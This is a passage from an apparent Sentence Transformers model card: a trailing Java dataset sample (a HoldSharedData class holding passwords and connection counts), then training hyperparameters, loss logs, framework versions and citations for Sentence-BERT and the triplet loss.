    System.out.println(sw.toString().trim());
    }catch(Exception e){}
    return sw.toString().trim();
    }
    }




    public class HoldSharedData
    {
    private int numOfConnections = 0;
    private int startTime;
    private int totalTime = 0;
    private String[] password;
    private int pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
    startTime = time;

    password = pwd;
    pwdCount = count;
    }

    public int getPwdCount()
    {
    return pwdCount;
    }

    public void setNumOfConnections( )
    {
    numOfConnections ++;
    }

    public int getNumOfConnections()
    {
    return numOfConnections;
    }

    public int getStartTime()
    {
    return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
    totalTime = newTotalTime;
    }

    public int getTotalTime()
    {
    return totalTime;
    }

    public String getPasswordAt( int index )
    {
    return password[index];
    }
    }
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.2031
0.4787 1000 0.1761
0.7180 1500 0.1914
0.9574 2000 0.2044

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}